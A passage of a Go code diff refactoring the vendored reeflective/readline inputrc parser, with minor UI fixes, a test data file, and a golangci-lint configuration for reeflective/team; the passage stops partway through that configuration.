-83,53 +95,60 @@ func (p *Parser) Errs() []error { } // next handles the next statement. -func (p *Parser) next(h Handler, r []rune, i, end int) error { - a, b, tok, err := p.readNext(r, i, end) +func (p *Parser) next(handler Handler, seq []rune, pos, end int) error { + directive, val, tok, err := p.readNext(seq, pos, end) if err != nil { return err } + switch tok { case tokenBind, tokenBindMacro: - return p.doBind(h, a, b, tok == tokenBindMacro) + return p.doBind(handler, directive, val, tok == tokenBindMacro) case tokenSet: - return p.doSet(h, a, b) + return p.doSet(handler, directive, val) case tokenConstruct: - return p.do(h, a, b) + return p.do(handler, directive, val) } + return nil } // readNext reads the next statement. -func (p *Parser) readNext(r []rune, i, end int) (string, string, token, error) { - i = findNonSpace(r, i, end) +func (p *Parser) readNext(seq []rune, pos, end int) (string, string, token, error) { + pos = findNonSpace(seq, pos, end) + switch { - case r[i] == 's' && grab(r, i+1, end) == 'e' && grab(r, i+2, end) == 't' && unicode.IsSpace(grab(r, i+3, end)): + case seq[pos] == 's' && grab(seq, pos+1, end) == 'e' && grab(seq, pos+2, end) == 't' && unicode.IsSpace(grab(seq, pos+3, end)): // read set - return p.readSymbols(r, i+4, end, tokenSet) - case r[i] == '$': + return p.readSymbols(seq, pos+setDirectiveLen, end, tokenSet, true) + case seq[pos] == '$': // read construct - return p.readSymbols(r, i, end, tokenConstruct) + return p.readSymbols(seq, pos, end, tokenConstruct, false) } - // read key seq - var seq string - if r[i] == '"' || r[i] == '\'' { - start, ok := i, false - if i, ok = findStringEnd(r, i, end); !ok { + // read key keySeq + var keySeq string + + if seq[pos] == '"' || seq[pos] == '\'' { + var ok bool + start := pos + + if pos, ok = findStringEnd(seq, pos, end); !ok { return "", "", tokenNone, &ParseError{ Name: p.name, Line: p.line, - Text: string(r[start:]), + Text: string(seq[start:]), Err: ErrBindMissingClosingQuote, } } - seq = unescapeRunes(r, start+1, i-1) + + keySeq = unescapeRunes(seq, start+1, pos-1) } else { var err error - if seq, i, err = decodeKey(r, i, end); err != nil { + if keySeq, pos, err = decodeKey(seq, pos, end); err != nil { return "", "", tokenNone, &ParseError{ Name: p.name, Line: p.line, - Text: string(r), + Text: string(seq), Err: err, } } @@ -139,44 +158,61 @@ func (p *Parser) readNext(r []rune, i, end int) (string, string, token, error) { // does not bind a key) if a space follows the key declaration. made a // decision to instead return an error if the : is missing in all cases. // seek : - for ; i < end && r[i] != ':'; i++ { + for ; pos < end && seq[pos] != ':'; pos++ { } - if i == end || r[i] != ':' { + + if pos == end || seq[pos] != ':' { return "", "", tokenNone, &ParseError{ Name: p.name, Line: p.line, - Text: string(r), + Text: string(seq), Err: ErrMissingColon, } } // seek non space - if i = findNonSpace(r, i+1, end); i == end || r[i] == '#' { - return seq, "", tokenNone, nil + if pos = findNonSpace(seq, pos+1, end); pos == end || seq[pos] == '#' { + return keySeq, "", tokenNone, nil } // seek - if r[i] == '"' || r[i] == '\'' { - start, ok := i, false - if i, ok = findStringEnd(r, i, end); !ok { + if seq[pos] == '"' || seq[pos] == '\'' { + var ok bool + start := pos + + if pos, ok = findStringEnd(seq, pos, end); !ok { return "", "", tokenNone, &ParseError{ Name: p.name, Line: p.line, - Text: string(r[start:]), + Text: string(seq[start:]), Err: ErrMacroMissingClosingQuote, } } - return seq, unescapeRunes(r, start+1, i-1), tokenBindMacro, nil + + return keySeq, unescapeRunes(seq, start+1, pos-1), tokenBindMacro, nil } - return seq, string(r[i:findEnd(r, i, end)]), tokenBind, nil + + return keySeq, string(seq[pos:findEnd(seq, pos, end)]), tokenBind, nil } // readSet reads the next two symbols. -func (p *Parser) readSymbols(r []rune, i, end int, tok token) (string, string, token, error) { - start := findNonSpace(r, i, end) - i = findEnd(r, start, end) - a := string(r[start:i]) - start = findNonSpace(r, i, end) - i = findEnd(r, start, end) - return a, string(r[start:i]), tok, nil +func (p *Parser) readSymbols(seq []rune, pos, end int, tok token, allowStrings bool) (string, string, token, error) { + start := findNonSpace(seq, pos, end) + pos = findEnd(seq, start, end) + val := string(seq[start:pos]) + start = findNonSpace(seq, pos, end) + var ok bool + + if c := grab(seq, start, end); allowStrings || c == '"' || c == '\'' { + var epos int + if epos, ok = findStringEnd(seq, start, end); ok { + pos = epos + } + } + + if !allowStrings || !ok { + pos = findEnd(seq, start, end) + } + + return val, string(seq[start:pos]), tok, nil } // doBind handles a bind. @@ -184,14 +220,16 @@ func (p *Parser) doBind(h Handler, sequence, action string, macro bool) error { if !p.conds[len(p.conds)-1] { return nil } + return h.Bind(p.keymap, sequence, action, macro) } // doSet handles a set. -func (p *Parser) doSet(h Handler, name, value string) error { +func (p *Parser) doSet(handler Handler, name, value string) error { if !p.conds[len(p.conds)-1] { return nil } + switch name { case "keymap": if p.strict { @@ -209,8 +247,11 @@ func (p *Parser) doSet(h Handler, name, value string) error { } } } + p.keymap = value + return nil + case "editing-mode": switch value { case "emacs", "vi": @@ -222,55 +263,66 @@ func (p *Parser) doSet(h Handler, name, value string) error { Err: ErrInvalidEditingMode, } } - return h.Set(name, value) + + return handler.Set(name, value) } - if v := h.Get(name); v != nil { + + if val := handler.Get(name); val != nil { // defined in vars, so pass to set only as that type - var z interface{} - switch v.(type) { + var data interface{} + switch val.(type) { case bool: - z = strings.ToLower(value) == "on" || value == "1" + data = strings.ToLower(value) == "on" || value == "1" case string: - z = value + data = value case int: i, err := strconv.Atoi(value) if err != nil { return err } - z = i + + data = i + default: - panic(fmt.Sprintf("unsupported type %T", v)) + panic(fmt.Sprintf("unsupported type %T", val)) } - return h.Set(name, z) + + return handler.Set(name, data) } // not set, so try to convert to usable value if i, err := strconv.Atoi(value); err == nil { - return h.Set(name, i) + return handler.Set(name, i) } + switch strings.ToLower(value) { case "off": - return h.Set(name, false) + return handler.Set(name, false) case "on": - return h.Set(name, true) + return handler.Set(name, true) } - return h.Set(name, value) + + return handler.Set(name, value) } // do handles a construct. -func (p *Parser) do(h Handler, a, b string) error { - switch a { +func (p *Parser) do(handler Handler, keyword, val string) error { + switch keyword { case "$if": var eval bool + switch { - case strings.HasPrefix(b, "mode="): - eval = strings.TrimPrefix(b, "mode=") == p.mode - case strings.HasPrefix(b, "term="): - eval = strings.TrimPrefix(b, "term=") == p.term + case strings.HasPrefix(val, "mode="): + eval = strings.TrimPrefix(val, "mode=") == p.mode + case strings.HasPrefix(val, "term="): + eval = strings.TrimPrefix(val, "term=") == p.term default: - eval = strings.ToLower(b) == p.app + eval = strings.ToLower(val) == p.app } + p.conds = append(p.conds, eval) + return nil + case "$else": if len(p.conds) == 1 { return &ParseError{ @@ -280,8 +332,11 @@ func (p *Parser) do(h Handler, a, b string) error { Err: ErrElseWithoutMatchingIf, } } + p.conds[len(p.conds)-1] = !p.conds[len(p.conds)-1] + return nil + case "$endif": if len(p.conds) == 1 { return &ParseError{ @@ -291,34 +346,42 @@ func (p *Parser) do(h Handler, a, b string) error { Err: ErrEndifWithoutMatchingIf, } } + p.conds = p.conds[:len(p.conds)-1] + return nil + case "$include": if !p.conds[len(p.conds)-1] { return nil } - path := expandIncludePath(b) - buf, err := h.ReadFile(path) + + path := expandIncludePath(val) + buf, err := handler.ReadFile(path) + switch { case err != nil && errors.Is(err, os.ErrNotExist): return nil case err != nil: return err } - return Parse(bytes.NewReader(buf), h, WithName(b), WithApp(p.app), WithTerm(p.term), WithMode(p.mode)) + + return Parse(bytes.NewReader(buf), handler, WithName(val), WithApp(p.app), WithTerm(p.term), WithMode(p.mode)) } + if !p.conds[len(p.conds)-1] { return nil } // delegate unknown construct - if err := h.Do(a, b); err != nil { + if err := handler.Do(keyword, val); err != nil { return &ParseError{ Name: p.name, Line: p.line, - Text: a + " " + b, + Text: keyword + " " + val, Err: err, } } + return nil } @@ -381,6 +444,7 @@ func (err *ParseError) Error() string { if err.Name != "" { s = " " + err.Name + ":" } + return fmt.Sprintf("inputrc:%s line %d: %s: %v", s, err.Line, err.Text, err.Err) } @@ -415,6 +479,7 @@ func (tok token) String() string { case tokenConstruct: return "construct" } + return fmt.Sprintf("token(%d)", tok) } @@ -431,22 +496,26 @@ func findEnd(r []rune, i, end int) int { for c := grab(r, i+1, end); i < end && c != '#' && !unicode.IsSpace(c) && !unicode.IsControl(c); i++ { c = grab(r, i+1, end) } + return i } // findStringEnd finds end of the string, returning end if not found. -func findStringEnd(r []rune, i, end int) (int, bool) { - quote, c := r[i], rune(0) - for i++; i < end; i++ { - switch c = r[i]; { - case c == '\\': - i++ +func findStringEnd(seq []rune, pos, end int) (int, bool) { + var char rune + quote := seq[pos] + + for pos++; pos < end; pos++ { + switch char = seq[pos]; { + case char == '\\': + pos++ continue - case c == quote: - return i + 1, true + case char == quote: + return pos + 1, true } } - return i, false + + return pos, false } // grab returns r[i] when i < end, 0 otherwise. @@ -454,62 +523,70 @@ func grab(r []rune, i, end int) rune { if i < end { return r[i] } + return 0 } // decodeKey decodes named key sequence. -func decodeKey(r []rune, i, end int) (string, int, error) { +func decodeKey(seq []rune, pos, end int) (string, int, error) { // seek end of sequence - start := i - for c := grab(r, i+1, end); i < end && c != ':' && c != '#' && !unicode.IsSpace(c) && !unicode.IsControl(c); i++ { - c = grab(r, i+1, end) + start := pos + for c := grab(seq, pos+1, end); pos < end && c != ':' && c != '#' && !unicode.IsSpace(c) && !unicode.IsControl(c); pos++ { + c = grab(seq, pos+1, end) } - s := strings.ToLower(string(r[start:i])) + + val := strings.ToLower(string(seq[start:pos])) meta, control := false, false - for i := strings.Index(s, "-"); i != -1; i = strings.Index(s, "-") { - switch s[:i] { + + for idx := strings.Index(val, "-"); idx != -1; idx = strings.Index(val, "-") { + switch val[:idx] { case "control", "ctrl", "c": control = true case "meta", "m": meta = true default: - return "", i, ErrUnknownModifier + return "", idx, ErrUnknownModifier } - s = s[i+1:] + + val = val[idx+1:] } - var c rune - switch s { + + var char rune + + switch val { case "": - return "", i, nil + return "", pos, nil case "delete", "del", "rubout": - c = Delete + char = Delete case "escape", "esc": - c = Esc + char = Esc case "newline", "linefeed", "lfd": - c = Newline + char = Newline case "return", "ret": - c = Return + char = Return case "tab": - c = Tab + char = Tab case "space", "spc": - c = Space + char = Space case "formfeed", "ffd": - c = Formfeed + char = Formfeed case "vertical", "vrt": - c = Vertical + char = Vertical default: - c, _ = utf8.DecodeRuneInString(s) + char, _ = utf8.DecodeRuneInString(val) } + switch { case control && meta: - return string([]rune{Esc, Encontrol(c)}), i, nil + return string([]rune{Esc, Encontrol(char)}), pos, nil case control: - c = Encontrol(c) + char = Encontrol(char) case meta: - c = Enmeta(c) + char = Enmeta(char) } - return string(c), i, nil + + return string(char), pos, nil } /* @@ -540,87 +617,94 @@ func decodeRunes(r []rune, i, end int) string { // unescapeRunes decodes escaped string sequence. func unescapeRunes(r []rune, i, end int) string { - var s []rune - var c0, c1, c2, c3, c4, c5 rune + var seq []rune + var char0, char1, char2, char3, char4, char5 rune + for ; i < end; i++ { - if c0 = r[i]; c0 == '\\' { - c1, c2, c3, c4, c5 = grab(r, i+1, end), grab(r, i+2, end), grab(r, i+3, end), grab(r, i+4, end), grab(r, i+5, end) + if char0 = r[i]; char0 == '\\' { + char1, char2, char3, char4, char5 = grab(r, i+1, end), grab(r, i+2, end), grab(r, i+3, end), grab(r, i+4, end), grab(r, i+5, end) + switch { - case c1 == 'a': // \a alert (bell) - s = append(s, Alert) + case char1 == 'a': // \a alert (bell) + seq = append(seq, Alert) i++ - case c1 == 'b': // \b backspace - s = append(s, Backspace) + case char1 == 'b': // \b backspace + seq = append(seq, Backspace) i++ - case c1 == 'd': // \d delete - s = append(s, Delete) + case char1 == 'd': // \d delete + seq = append(seq, Delete) i++ - case c1 == 'e': // \e escape - s = append(s, Esc) + case char1 == 'e': // \e escape + seq = append(seq, Esc) i++ - case c1 == 'f': // \f form feed - s = append(s, Formfeed) + case char1 == 'f': // \f form feed + seq = append(seq, Formfeed) i++ - case c1 == 'n': // \n new line - s = append(s, Newline) + case char1 == 'n': // \n new line + seq = append(seq, Newline) i++ - case c1 == 'r': // \r carriage return - s = append(s, Return) + case char1 == 'r': // \r carriage return + seq = append(seq, Return) i++ - case c1 == 't': // \t tab - s = append(s, Tab) + case char1 == 't': // \t tab + seq = append(seq, Tab) i++ - case c1 == 'v': // \v vertical - s = append(s, Vertical) + case char1 == 'v': // \v vertical + seq = append(seq, Vertical) i++ - case c1 == '\\', c1 == '"', c1 == '\'': // \\ \" \' literal - s = append(s, c1) + case char1 == '\\', char1 == '"', char1 == '\'': // \\ \" \' literal + seq = append(seq, char1) i++ - case c1 == 'x' && hexDigit(c2) && hexDigit(c3): // \xHH hex - s = append(s, hexVal(c2)<<4|hexVal(c3)) + case char1 == 'x' && hexDigit(char2) && hexDigit(char3): // \xHH hex + seq = append(seq, hexVal(char2)<<4|hexVal(char3)) i += 2 - case c1 == 'x' && hexDigit(c2): // \xH hex - s = append(s, hexVal(c2)) + case char1 == 'x' && hexDigit(char2): // \xH hex + seq = append(seq, hexVal(char2)) i++ - case octDigit(c1) && octDigit(c2) && octDigit(c3): // \nnn octal - s = append(s, (c1-'0')<<6|(c2-'0')<<3|(c3-'0')) + case octDigit(char1) && octDigit(char2) && octDigit(char3): // \nnn octal + seq = append(seq, (char1-'0')<<6|(char2-'0')<<3|(char3-'0')) i += 3 - case octDigit(c1) && octDigit(c2): // \nn octal - s = append(s, (c1-'0')<<3|(c2-'0')) + case octDigit(char1) && octDigit(char2): // \nn octal + seq = append(seq, (char1-'0')<<3|(char2-'0')) i += 2 - case octDigit(c1): // \n octal - s = append(s, c1-'0') + case octDigit(char1): // \n octal + seq = append(seq, char1-'0') i++ - case ((c1 == 'C' && c4 == 'M') || (c1 == 'M' && c4 == 'C')) && c2 == '-' && c3 == '\\' && c5 == '-': + case ((char1 == 'C' && char4 == 'M') || (char1 == 'M' && char4 == 'C')) && char2 == '-' && char3 == '\\' && char5 == '-': // \C-\M- or \M-\C- control meta prefix - if c6 := grab(r, i+6, end); c6 != 0 { - s = append(s, Esc, Encontrol(c6)) + if c6 := grab(r, i+metaSeqLength, end); c6 != 0 { + seq = append(seq, Esc, Encontrol(c6)) } + i += 6 - case c1 == 'C' && c2 == '-': // \C- control prefix - if c3 == '?' { - s = append(s, Delete) + case char1 == 'C' && char2 == '-': // \C- control prefix + if char3 == '?' { + seq = append(seq, Delete) } else { - s = append(s, Encontrol(c3)) + seq = append(seq, Encontrol(char3)) } + i += 3 - case c1 == 'M' && c2 == '-': // \M- meta prefix - if c3 == 0 { - s = append(s, Esc) + case char1 == 'M' && char2 == '-': // \M- meta prefix + if char3 == 0 { + seq = append(seq, Esc) i += 2 } else { - s = append(s, Enmeta(c3)) + seq = append(seq, Enmeta(char3)) i += 3 } default: - s = append(s, c1) + seq = append(seq, char1) i++ } + continue } - s = append(s, c0) + + seq = append(seq, char0) } - return string(s) + + return string(seq) } // octDigit returns true when r is 0-7. @@ -634,14 +718,15 @@ func hexDigit(c rune) bool { } // hexVal converts a rune to its hex value. -func hexVal(c rune) rune { +func hexVal(char rune) rune { switch { - case 'a' <= c && c <= 'f': - return c - 'a' + 10 - case 'A' <= c && c <= 'F': - return c - 'A' + 10 + case 'a' <= char && char <= 'f': + return char - 'a' + hexValNum + case 'A' <= char && char <= 'F': + return char - 'A' + hexValNum } - return c - '0' + + return char - '0' } // expandIncludePath handles tilde home directory expansion in $include path directives. diff --git a/vendor/github.com/reeflective/readline/inputrc/testdata/spaces.inputrc b/vendor/github.com/reeflective/readline/inputrc/testdata/spaces.inputrc new file mode 100644 index 0000000000..cae93ca759 --- /dev/null +++ b/vendor/github.com/reeflective/readline/inputrc/testdata/spaces.inputrc @@ -0,0 +1,12 @@ +app: usql +term: xterm-256 +mode: vi +####----#### +set editing-mode vi +set vi-ins-mode-string "\1\e[4 q\2" +set my-other-string 'a b' +####----#### +vars: + editing-mode: vi + my-other-string: 'a b' + vi-ins-mode-string: "\1\e[4 q\2" diff --git a/vendor/github.com/reeflective/readline/internal/completion/group.go b/vendor/github.com/reeflective/readline/internal/completion/group.go index 2298baf79f..cd1eecc4bf 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/group.go +++ b/vendor/github.com/reeflective/readline/internal/completion/group.go @@ -327,7 +327,6 @@ func (g *group) longestValueDescribed(vals []Candidate) int { if val.descLen > longestDesc { longestDesc = val.descLen - } if val.descLen > longestDesc { @@ -344,7 +343,7 @@ func (g *group) longestValueDescribed(vals []Candidate) int { } // Always add one: there is at least one space between each column. - return longestVal + longestDesc + 1 + return longestVal + longestDesc + 2 } func (g *group) trimDisplay(comp Candidate, pad, col int) (candidate, padded string) { diff --git a/vendor/github.com/reeflective/readline/internal/keymap/cursor.go b/vendor/github.com/reeflective/readline/internal/keymap/cursor.go index 2f7d476f30..c52ce8896e 100644 --- a/vendor/github.com/reeflective/readline/internal/keymap/cursor.go +++ b/vendor/github.com/reeflective/readline/internal/keymap/cursor.go @@ -15,6 +15,7 @@ func (c CursorStyle) String() string { if !found { return string(cursorUserDefault) } + return cursor } @@ -49,10 +50,6 @@ var defaultCursors = map[Mode]CursorStyle{ // PrintCursor prints the cursor for the given keymap mode, // either default value or the one specified in inputrc file. -// TODO: I've been quite vicious here, I need to admit: the logic -// is not made to use the default user cursor in insert-mode. -// It didn't bother. And if that can help some getting to use -// .inputrc, so be it. func (m *Engine) PrintCursor(keymap Mode) { var cursor CursorStyle @@ -65,8 +62,8 @@ func (m *Engine) PrintCursor(keymap Mode) { return } - if cursor, valid := defaultCursors[keymap]; valid { - fmt.Print(cursors[cursor]) + if defaultCur, valid := defaultCursors[keymap]; valid { + fmt.Print(cursors[defaultCur]) return } diff --git a/vendor/github.com/reeflective/readline/internal/ui/prompt.go b/vendor/github.com/reeflective/readline/internal/ui/prompt.go index 44ef0ac0ff..43774efe59 100644 --- a/vendor/github.com/reeflective/readline/internal/ui/prompt.go +++ b/vendor/github.com/reeflective/readline/internal/ui/prompt.go @@ -249,8 +249,10 @@ func (p *Prompt) formatLastPrompt(prompt string) string { begin := regexp.MustCompile(`\\1`) end := regexp.MustCompile(`\\2`) + // Remove delimiters, and replace quoted escape sequences status = begin.ReplaceAllString(status, "") status = end.ReplaceAllString(status, "") + status = strings.ReplaceAll(status, "\\e", "\x1b") return status + prompt } diff --git a/vendor/github.com/reeflective/team/.golangci.yml b/vendor/github.com/reeflective/team/.golangci.yml new file mode 100644 index 0000000000..1ebc61822f --- /dev/null +++ b/vendor/github.com/reeflective/team/.golangci.yml @@ -0,0 +1,455 @@ + +# ************************************************************************************* # +# Golang CI Lint Global Configuration # +# ************************************************************************************* # + +# This configuration is divided into several subsections: +# - Options for analysis running +# - Enabled/disabled linters +# - Other exclusions & Issues management +# - Issues severity management +# - Per-linter configurations + +# +# -------------------------- Options for analysis running -------------------------- # +# +run: + # + # ***** Tests **** + # + # Include test files or not. + # Default: true + tests: true + + # + # ***** Ignored directories, files & patterns ***** + # + # Which dirs to skip: issues from them won't be reported. + # Can use regexp here: `generated.*`, regexp is applied on full path. + # Default value is empty list, + # but default dirs are skipped independently of this option's value (see skip-dirs-use-default). + # "/" will be replaced by current OS file path separator to properly work on Windows. + # skip-dirs: + + # Enables skipping of directories: + # - vendor$, third_party$, testdata$, examples$, Godeps$, builtin$ + # Default: true + skip-dirs-use-default: true + + # Which files to skip: they will be analyzed, but issues from them won't be reported. + # Default value is empty list, + # but there is no need to include all autogenerated files, + # we confidently recognize autogenerated files. + # If it's not please let us know. + # "/" will be replaced by current OS file path separator to properly work on Windows. + # skip-files: + # - ".*\\.my\\.go$" + # - lib/bad.go + + # + # ***** Dependencies & Modules ***** + # + # If set we pass it to "go list -mod={option}". From "go help modules": + # If invoked with -mod=readonly, the go command is disallowed from the implicit + # automatic updating of go.mod described above. Instead, it fails when any changes + # to go.mod are needed. This setting is most useful to check that go.mod does + # not need updates, such as in a continuous integration and testing system. + # If invoked with -mod=vendor, the go command assumes that the vendor + # directory holds the correct copies of dependencies and ignores + # the dependency descriptions in go.mod. + # + # Allowed values: readonly|vendor|mod + # By default, it isn't set. + modules-download-mode: readonly # NOT SURE WHICH ONE TO USE BY DEFAULT + + # + # ***** Other ***** + # + # Allow multiple parallel golangci-lint instances running. + # If false (default) - golangci-lint acquires file lock on start. + allow-parallel-runners: true + + # Specific go build tags + build-tags: + - go_sqlite + + +# +# -------------------------- Output Configuration Options --------------------------- # +# +# output: + # Format: colored-line-number|line-number|json|tab|checkstyle|code-climate|junit-xml|github-actions + # + # Multiple can be specified by separating them by comma, output can be provided + # for each of them by separating format name and path by colon symbol. + # Output path can be either `stdout`, `stderr` or path to the file to write to. + # Example: "checkstyle:report.json,colored-line-number" + # + # Default: colored-line-number + # format: json + # Print lines of code with issue. + # Default: true + # print-issued-lines: false + # Print linter name in the end of issue text. + # Default: true + # print-linter-name: false + # Make issues output unique by line. + # Default: true + # uniq-by-line: false + # Add a prefix to the output file references. + # Default is no prefix. + # path-prefix: "" + # Sort results by: filepath, line and column. + # sort-results: false + +# +# ------------------------------------- Linters ------------------------------------ # +# +linters: + # Disable all linters. + # disable-all: true + + # Enable presets. Used to enable entire sets of linters based on their "tags". + # Some of these enabled sets might be redundant with the explicitly & individually + # enabled linters above, so pay attention to what you want to do. + # Also, some linters are explicitly deactived in some section below, which might + # be undesired behavior to you. + # https://golangci-lint.run/usage/linters + presets: + - bugs + - comment + - complexity + - error + - format + - import + - metalinter + - module + - performance + # - sql + - style + - test + - unused + + # Enable specific linter + # https://golangci-lint.run/usage/linters/#enabled-by-default-linters + # + # Example line: + # - lintername # Description () + # where: + # () means the linter is not fast, and not auto-fix capable + # (fast) means the linter is only fast + # (auto) means the linter can auto-fix its detected issues. + # + enable: + # Linters enabled by default (commented out in list of disabled linters below) + # - deadcode # Finds unused code () + - errcheck # Finds unchecked errors in Go programs () + - gosimple # Specializes in simplifying a code () + - govet # Reports suspicious constructs, such as Printf calls with wrong args () + - ineffassign # Detects when assignments to existing variables are not used (fast) + - staticcheck # A ton of static analysis checks () + # - structcheck # Finds unused struct fields () + - unused # Checks for unused constants, variables, functions and types () + # - varcheck # Finds unused global variables and constants () + + # Other linters (not enabled by default, thus optional) + # - asciicheck # Checks that code does not contain non-ASCII identifiers (bugs, style) + - bidichk # checks for dangerous unicode character sequences (bugs) + - bodyclose # checks HTTP response body is closed successfully (perf,bugs) + - containedctx # detects struct-contained context.Context field (style) + - contextcheck # check the function use a non-inherited context (bugs) + - cyclop # checks function and package cyclomatic complexity (cplx) + - decorder # checks declaration order/count of types/consts/vars/funcs (fmt,style) + # - depguard # checks if imports are in a list of acceptable packages (style,imp,mod) + - dogsled # checks assignments with too many blank identifiers (style) + - dupl # tool for code clone detection (style) + - durationcheck # checks for two durations multiplied together (bugs) + - errchkjson # checks types passed to JSON encoding functions & related (bugs) + - errname # checks that sentinel errors are prefix with Err (style) + - errorlint # finds potential problems with Go 1.13 error wrap scheme (bugs, err) + # - exhaustive # checks exhaustiveness of enum switch statements (bugs) + # - exhaustivestruct # checks if all struct fields are initialized (style,test) + - exportloopref # checks for pointers to enclosing loop variables (bugs) + # - forbidigo # Forbids identifiers (style) + - forcetypeassert # finds forced type assertions (style) + - funlen # tool for detection of long functions (cplx) + # - gci # Controls package import order and makes deterministic (fmt,import) + # - gochecknoglobals # checks that no global variables exist (style) + # - gochecknoinits # checks that no init functions are present (style) + - gocognit # computes and checks the cognitive complexity of functions (cplx) + - goconst # finds repeated strings that can be replaced by a constant (style) + - gocritic # diagnostics for bugs/perf/style issues. Extensible (style,meta) + - gocyclo # computes and checks cyclomatic complexity of functions (cplx) + - godot # checks if comments end in a period (style,cmt) + - godox # tool for detection of FIXME, TODO and other comments (style,cmt) + - goerr113 # checks the errors handling expressions (style,err) + # - gofmt # formats and checks for code simplification (fmt) + - gofumpt # checks whether code was gofumpt-ed (fmt) + - goheader # checks if file header matches to pattern (style) + - goimports # fixes imports, formats code same as gofmt (fmt,import) + # - golint # Deprecated + - gomnd # analyzer to detect magic numbers (style) + - gomoddirectives # manage replace/retract/excludes directives in go.mod (style,mod) + # - gomodguard # allow/block for direct module deps. (style,imp,mod) + - goprintffuncname # check that printf-like funcs are named with f at end (style) + - gosec # inspect code for security problems (bugs) + - grouper # analyzer to analyze expression groups (style) + # - ifshort # checks that code uses short syntax for if statements (style) + - importas # enforces consistent import aliases (style) + # - interfacer # Deprecated + - ireturn # accept Interfaces, return Concrete Types (style) + # - lll # Report long lines (style) + - maintidx # measures the maintainability index of each function (cplx) + - makezero # finds slice declarations with non-zero initial length (style,bugs) + # - maligned # Deprecated + - misspell # finds commonly misspelled English words in comments (style,cmt) + - nakedret # finds naked returns in functions greater than spec len (style) + - nestif # reports deeply nested if statements (cplx) + - nilerr # finds code returning nil even if checks error not nil (bugs) + - nilnil # checks no simultaneous return of nil err and invalid value (style) + # - nlreturn # checks for a new line before return and branch statements (style) + - noctx # fnds sending HTTP requests without context.Context (perf,bugs) + - nolintlint # reports ill-formed or insufficient nolint directives (style) + - paralleltest # detects missing usage of t.Parallel() in your tests (style,test) + - prealloc # finds slice declarations that could be preallocated (perf) + - predeclared # finds code shadowing one of Go's predeclared identifiers (style) + # - promlinter # checks Prometheus metrics naming via promlint + - revive # fast,extensible,flexible linter. Replacement of golint (style,meta) + # - rowserrcheck # checks if Err of rows is checked successfully (bugs,sql) + # - scopelint # Deprecated + # - sqlclosecheck # checks that sql.Rows and sql.Stmt are closed (bugs,sql) + # - stylecheck # replacement for golint (style) + # - tagliatelle # checks struct tags (style) + - tenv # detects using os.Setenv instead of t.Setenv since go1.17 (style) + # - testpackage # makes you use a separate _test package (style,test) + - thelper # detects test helpers without t.Helper(), checks consistent (style) + - tparallel # detects inappropriate use of t.Parallel() in your tests (style,test) + # - typecheck # Like the front-end of the Go compiler, parses and type-checks Go code () + - unconvert # remove unnecessary type convertions (style) + - unparam # reports unused function parameters (unused) + - varnamelen # checks that the length of a var name matches its scope (style) + - wastedassign # finds wasted assignment statements (style) + # - whitespace # detection of leading and trailing whitespace (style) + # - wrapcheck # checks errors returned from external packages are wrapped (style,err) + - wsl # forces you to use empty lines ! (style) + + # Enable all available linters. + # enable-all: true + + # Disable specific linter + # https://golangci-lint.run/usage/linters/#disabled-by-default-linters--e--enable + disable: + # Linters enabled by default (commented out in list of disabled linters below) + # - deadcode + # - errcheck + # - gosimple + # - govet + # - ineffassign + # - staticcheck + # - structcheck + - typecheck + # - unused + # - varcheck + + # Deactivated linters above (explicitly deactived here, so that `presets` section + # above does not activate them again) + - asciicheck # Checks that code does not contain non-ASCII identifiers (bugs,style) + - depguard # checks if imports are in list of acceptable pkgs (style,imp,mod) + - exhaustive # checks exhaustiveness of enum switch statements (bugs) + - exhaustruct # checks if all struct fields are initialized (style,test) + - exhaustivestruct # checks if all struct fields are initialized (style,test) + - forbidigo # Forbids identifiers (style) + - gochecknoglobals # checks that no global variables exist (style) + - gochecknoinits # checks that no init functions are present (style) + - lll # Report long lines (style) + - promlinter # checks Prometheus metrics naming via promlint + - rowserrcheck # checks if Err of rows is checked successfully (bugs,sql) + - sqlclosecheck # checks that sql.Rows and sql.Stmt are closed (bugs,sql) + - stylecheck # replacement for golint (style) + - testpackage # makes you use a separate _test package (style,test) + - whitespace # detection of leading and trailing whitespace (style) + - nonamedreturns + - scopelint # Deprecated + - nlreturn # checks for a new line before return and branch statements (style) + - ifshort # checks that code uses short syntax for if statements (style) + - deadcode # Finds unused code () + - structcheck # Finds unused struct fields () + - varcheck # Finds unused global variables and constants () + - gomodguard # allow/block for direct module deps. (style,imp,mod) + - musttag + - wrapcheck # checks errors returned from external packages are wrapped (style,err) + - tagliatelle # checks struct tags (style) + - gofmt # formats and checks for code simplification (fmt) + # - gofumpt # checks whether code was gofumpt-ed (fmt) + # - goimports # fixes imports, formats code same as gofmt (fmt,import) + + # Run only fast linters from enabled linters set (first run won't be fast) + # Default: false + # fast: true + + +# +# --------------------------------- Linter settings ------------------------------------ # +# + +# This file contains only configs which differ from defaults. +# All possible options can be found here https://github.com/golangci/golangci-lint/blob/master/.golangci.reference.yml +linters-settings: + cyclop: + # The maximal code complexity to report. + # Default: 10 + max-complexity: 30 + # The maximal average package complexity. + # If it's higher than 0.0 (float) the check is enabled + # Default: 0.0 + package-average: 10.0 + + errcheck: + # Report about not checking of errors in type assertions: `a := b.(MyStruct)`. + # Such cases aren't reported by default. + # Default: false + check-type-assertions: true + + exhaustive: + # Program elements to check for exhaustiveness. + # Default: [ switch ] + check: + - switch + - map + + funlen: + # Checks the number of lines in a function. + # If lower than 0, disable the check. + # Default: 60 + lines: 100 + # Checks the number of statements in a function. + # If lower than 0, disable the check. + # Default: 40 + statements: 50 + + gocognit: + # Minimal code complexity to report + # Default: 30 (but we recommend 10-20) + min-complexity: 30 + + wsl: + allow-cuddle-declarations: true + allow-separated-leading-comment: true + + paralleltest: + ignore-missing: true + + goimports: + local-prefixes: github.com/reeflective/team + +# +# ----------------------- Other exclusions & Issues management -------------------------- # +# +issues: + # List of regexps of issue texts to exclude. + # + # But independently of this option we use default exclude patterns, + # it can be disabled by `exclude-use-default: false`. + # To list all excluded by default patterns execute `golangci-lint run --help` + # + # Default: [] + # exclude: + # - abcdef + + # Excluding configuration per-path, per-linter, per-text and per-source + exclude-rules: + # Exclude some linters from running on tests files. + - path: _test\.go + linters: + - gocyclo + - errcheck + - dupl + - gosec + + # Exclude known linters from partially hard-vendored code, + # which is impossible to exclude via `nolint` comments. + # - path: internal/hmac/ + # text: "weak cryptographic primitive" + # linters: + # - gosec + + # Exclude some `staticcheck` messages. + # - linters: + # - staticcheck + # text: "SA9003:" + + # Exclude `lll` issues for long lines with `go:generate`. + - linters: + - lll + source: "^//go:generate " + + # Independently of option `exclude` we use default exclude patterns, + # it can be disabled by this option. + # To list all excluded by default patterns execute 